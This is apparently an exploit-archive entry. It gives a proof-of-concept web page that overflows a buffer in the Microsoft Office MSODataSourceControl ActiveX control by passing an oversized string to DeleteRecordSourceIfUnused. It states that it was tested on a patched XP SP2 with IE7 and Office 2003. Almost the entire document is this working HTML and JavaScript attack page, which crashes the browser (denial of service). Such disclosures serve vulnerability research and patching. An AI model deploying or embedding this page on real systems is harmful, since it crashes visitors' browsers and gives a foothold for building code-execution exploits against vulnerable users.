Microsoft Office MSODataSourceControl COM-object buffer overflow proof of concept denial of service exploit.
b934bd5c541f5fef68a5febb74d194dd6d84fa809bbcfdaa46e2aa612fee7eb9
MSODataSourceControl.DeleteRecordSourceIfUnused COM-object B0F POC
Tested on full patched XP/SP2, IE7, MSO2003
<html>
<object id=ctl classid="clsid:{0002E55B-0000-0000-C000-000000000046}"></object>
<script language="javascript">
var b = 'AAAA';
while (b.length <= 256) b+=b;
ctl.DeleteRecordSourceIfUnused(b);
</script>
</html>